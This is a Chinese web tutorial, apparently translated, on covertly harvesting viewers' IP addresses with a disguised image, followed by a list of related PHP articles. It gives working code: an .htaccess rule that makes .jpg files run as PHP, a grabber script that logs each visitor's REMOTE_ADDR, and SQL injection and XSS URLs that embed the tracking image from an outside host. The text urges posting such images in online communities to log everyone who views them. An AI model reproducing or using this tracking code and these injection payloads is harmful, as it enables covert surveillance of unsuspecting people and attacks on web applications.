基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
[转帖]PHP世纪万年历
Dec 06 PHP
用PHP写的MySQL数据库用户认证系统代码
Mar 22 PHP
一段php加密解密的代码
Jul 16 PHP
两个开源的Php输出Excel文件类
Feb 08 PHP
纯PHP生成的一个树叶图片画图例子
Apr 16 PHP
分享一个Laravel好用的Cache宏
Mar 02 PHP
php实现猴子选大王问题算法实例
Apr 20 PHP
php从文件夹随机读取文件的方法
Jun 01 PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 PHP
php实现常见图片格式的水印和缩略图制作(面向对象)
Jun 15 PHP
PHP实现生成模糊图片的方法示例
Dec 21 PHP
用PHP做了一个领取优惠券活动的示例代码
Jul 05 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
PHP版本升级到7.x后wordpress的一些修改及wordpress技巧
2015/12/25 PHP
PHP7.1实现的AES与RSA加密操作示例
2018/06/15 PHP
PHP获取星期几的常用方法小结
2018/12/18 PHP
Jquery实现仿新浪微博获取文本框能输入的字数代码
2013/02/22 Javascript
浅析AngularJS Filter用法
2015/12/28 Javascript
Textarea输入字数限制实例(兼容iOS&amp;安卓)
2017/07/06 Javascript
JavaScript 用fetch 实现异步下载文件功能
2017/07/21 Javascript
微信小程序将字符串生成二维码图片的操作方法
2018/07/17 Javascript
解决微信小程序防止无法回到主页的问题
2018/09/28 Javascript
轻松解决JavaScript定时器越走越快的问题
2019/05/13 Javascript
详解Howler.js Web音频播放终极解决方案
2020/08/23 Javascript
python之wxPython应用实例
2014/09/28 Python
Python装饰器基础概念与用法详解
2018/12/22 Python
Python实现京东秒杀功能代码
2019/05/16 Python
使用python画社交网络图实例代码
2019/07/10 Python
python判断一个对象是否可迭代的例子
2019/07/22 Python
详解Django CAS 解决方案
2019/10/30 Python
如何查看Django ORM执行的SQL语句的实现
2020/04/20 Python
django模型类中,null=True,blank=True用法说明
2020/07/09 Python
Python 实现进度条的六种方式
2021/01/06 Python
HTML5 预加载让页面得以快速呈现
2013/08/13 HTML / CSS
英国最大的老式糖果店:A Quarter Of
2017/04/08 全球购物
机电专业个人自荐信格式模板
2013/09/23 职场文书
高中生学习生活的自我评价
2013/11/27 职场文书
大学生职业生涯规划书模版
2013/12/30 职场文书
电钳工人个人求职信
2014/05/10 职场文书
机械工程及其自动化专业求职信
2014/08/08 职场文书
旗帜观后感
2015/06/08 职场文书
经营场所使用证明
2015/06/19 职场文书
学习心理学心得体会
2016/01/22 职场文书
一行代码python实现文件共享服务器
2021/04/22 Python
eval(cmd)与eval($cmd)的区别与联系
2021/07/07 PHP
一篇文章搞懂python混乱的切换操作与优雅的推导式
2021/08/23 Python
python机器学习创建基于规则聊天机器人过程示例详解
2021/11/02 Python
linux下安装redis图文详细步骤
2021/12/04 Redis
python字符串的一些常见实用操作
2022/04/06 Python